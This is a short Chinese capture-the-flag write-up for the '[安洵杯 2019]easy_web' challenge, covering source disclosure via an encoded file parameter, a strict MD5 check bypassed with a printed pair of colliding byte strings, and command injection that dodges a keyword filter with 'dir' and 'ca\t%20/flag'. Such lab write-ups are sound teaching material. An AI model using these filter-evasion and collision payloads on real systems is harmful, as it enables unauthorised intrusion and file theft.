[安洵杯 2019]easy_web

md5碰撞 强比较

1.抓包

2.发现传参被加密了,应该有一个base64,解码然后又得到一个base64编码,一串16进制,解码后得到555.png,可得传入文件名被进行了俩次base64加密和一次hex加密

image-20211229210820856

image-20211229211117362

3.尝试将index.php按照上面的加密传入,得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

image-20211229211342714

image-20211229211350988

base64解密得到

image-20211229211555482

4.post传入a和b俩个传参,md5字符串强比较,字符串不同但是md5相同,存在一个string强制转换,因此不能用数组了

网上查了得到ab可以用下面俩个

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

5.虽然ls被屏蔽了,仍然可以用dir

image-20211229214740808

image-20211229214801031

6.虽然cat被屏蔽,但是Linux命令中可以加\,所以可以用ca\t%20/flag来得到flag,而\t会被当成tab而跳过过滤,%20代替空格,得到flag

image-20211229215253745

image-20211229215304042

posted @ 2022-01-19 14:25  L0VEhzzz  阅读(200)  评论(0编辑  收藏  举报